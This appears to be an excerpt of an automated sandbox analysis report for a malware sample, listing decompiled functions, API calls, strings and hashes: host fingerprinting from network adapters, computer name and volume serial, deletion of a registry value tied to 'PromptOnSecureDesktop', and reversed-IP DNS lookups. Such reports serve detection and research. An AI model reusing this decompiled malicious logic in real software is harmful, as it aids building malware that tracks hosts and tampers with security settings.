Strings

9, xrefs: 0043C823

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction ID: 8375267766f7a155a353a43f0a7d59571d4406784c59689aa7068b573e412466
Opcode Fuzzy Hash: d3aabd9a36598f600b44d79d1f7dfcc24342421506deca2866edf9d9dd71d9f0
Instruction Fuzzy Hash: F94127B5E1012A9FDB24CF48C881BAEB7B5FF89314F1051AAE549B7201C7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00427F2C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427FA9
_get_int64_arg.LIBCMTD ref: 00427FD1
__aullrem.LIBCMT ref: 00428176
__aulldiv.LIBCMT ref: 00428198

Strings

9, xrefs: 004281A9

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction ID: e9343abb1e8adc4eeb4df9d433c6011963d7b2f910834722a424e709b65a0188
Opcode Fuzzy Hash: 8698735123b3feddb97b2ec76e51df2176c4137660bae1df7df2e96bf9f8b5a0
Instruction Fuzzy Hash: DD410571E05229DFDB64DF48DD89BAEB7B5BF84304F50419AD409A7241CB389E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 006C764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006C76C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 006C7956
RegCloseKey.ADVAPI32(?), ref: 006C7967

Strings

PromptOnSecureDesktop, xrefs: 006C76AE, 006C76B3, 006C76CE

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 8edb4848254a22565640a4f52a74787c505f12c03420a9edbddcfa25ec01e2ec
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 5C11BE70A04109AFDB119FAADC46FFFBF7AEB82700F148569F510EA291D6B18D508F64

Uniqueness

Uniqueness Score: -1.00%

Function 0042E606, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__isleadbyte_l.LIBCMTD ref: 0042E647

Part of subcall function 00431580: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004315B8

___crtLCMapStringA.LIBCMTD ref: 0042E6CB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E6E5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E6FF

Strings

~B, xrefs: 0042E6A7, 0042E6AA

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$String___crt__isleadbyte_l
String ID: ~B
API String ID: 3671512615-157790649
Opcode ID: 29e86c389fc05a7dc9eb703e91590d79f7ca373766da87d08f8f819c9fa941a0
Instruction ID: 195f5969f82988849dc50314205047e5dbc69b05708e94aa319ca6dc07ced217
Opcode Fuzzy Hash: 29e86c389fc05a7dc9eb703e91590d79f7ca373766da87d08f8f819c9fa941a0
Instruction Fuzzy Hash: 9D219F71E00208AFCB04DF91D851BFF7B75EF58304F5480AAE4166B281EB389A85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 006C994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 006C9986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 006C99A6
RegCloseKey.ADVAPI32(?), ref: 006C99AF

Strings

PromptOnSecureDesktop, xrefs: 006C9972, 006C9977, 006C9999, 006C99BC

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: c0b3460713bf7ad0b3ab79e2502fa5ffa1a017c1ee7819dd82a1a007d55a9c5d
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 94F09CB2640208BBF7156754AC47FEF3A2DDB45B00F104079FA05F9091F6E59EA042BD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~+t`y+tp*t, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~+t`y+tp*t
API String ID: 1594361348-1677924133
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 006C28D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 006C28E3
gethostbyname.WS2_32(u6A), ref: 006C28EF

Strings

u6A, xrefs: 006C28D5, 006C28E2, 006C28EE
time_cfg, xrefs: 006C28D4

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 3e91aa48b82ab80adeb1a9b2eab412f0495594b7bf196724c643270411e2da07
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 29E082306050229FCB108B28F848FEA37A6EF0A330F108189F844C32A0C730ACC19B94

Uniqueness

Uniqueness Score: -1.00%

Function 006CD7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 006CD7BC
Sleep.KERNEL32(000003E8), ref: 006CD7C7
ExitProcess.KERNEL32 ref: 006CD7D3

Strings

p*t, xrefs: 006CD7BC

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p*t
API String ID: 2012141568-2700130030
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 44e359393b7a4188f7c2e1e81fdfa5387c43ff1a8edfc13ce0d0e4a0eb7017ca
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: B0C04830841208EBD7812BA4FC4DE8C3E7AEB08302B20C168B10A900B1CAB60A808A29

Uniqueness

Uniqueness Score: -1.00%

Function 006C69AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 006C69CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 006C6A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 006C6A23
CloseHandle.KERNEL32(000000FF), ref: 006C6BC1

Part of subcall function 006CEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,006C1DB8,?), ref: 006CEE91
Part of subcall function 006CEE7E: HeapFree.KERNEL32(00000000), ref: 006CEE98

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 5e65c3ef091e2ed437aa1ca2774763745f434f7331cb70d88adab61357b4a79a
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 0D710671900219AFDF108FA4CC84EFEBBBAFB04354F1045AAF515E62A0D7309E92DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00436225, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004362B6
_memset.LIBCMT ref: 00436393
__invalid_parameter.LIBCMTD ref: 00436409

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: e63649f88e65c757f7d57c7ad658e0a9edfa84cc32753d8ededc1ff430522661
Instruction ID: 9adb83bf6b868d008e6385e3c5cbe31946f53ec0d23629d464035681ca9048b7
Opcode Fuzzy Hash: e63649f88e65c757f7d57c7ad658e0a9edfa84cc32753d8ededc1ff430522661
Instruction Fuzzy Hash: 1E618070A0020AEFCF14DF58C844AAE33B1BB48328F21D25AE9256B3D4D7799A51CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB91, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AC45

Part of subcall function 004216B0: __encode_pointer.LIBCMTD ref: 00421791

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 0e170e3bc311e11ffbf474da8a836f854b96b632134df1814bb38ecb18c7b745
Instruction ID: fdc762ae77b9e1b4bb6151ebbf13ebff736d1f0de2365c9e7d4d41fdf7224608
Opcode Fuzzy Hash: 0e170e3bc311e11ffbf474da8a836f854b96b632134df1814bb38ecb18c7b745
Instruction Fuzzy Hash: 7E412831C09744E6CB11AF39EA4516EB7B0FF95344F10C7AAF88861251FB388A69D35B

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
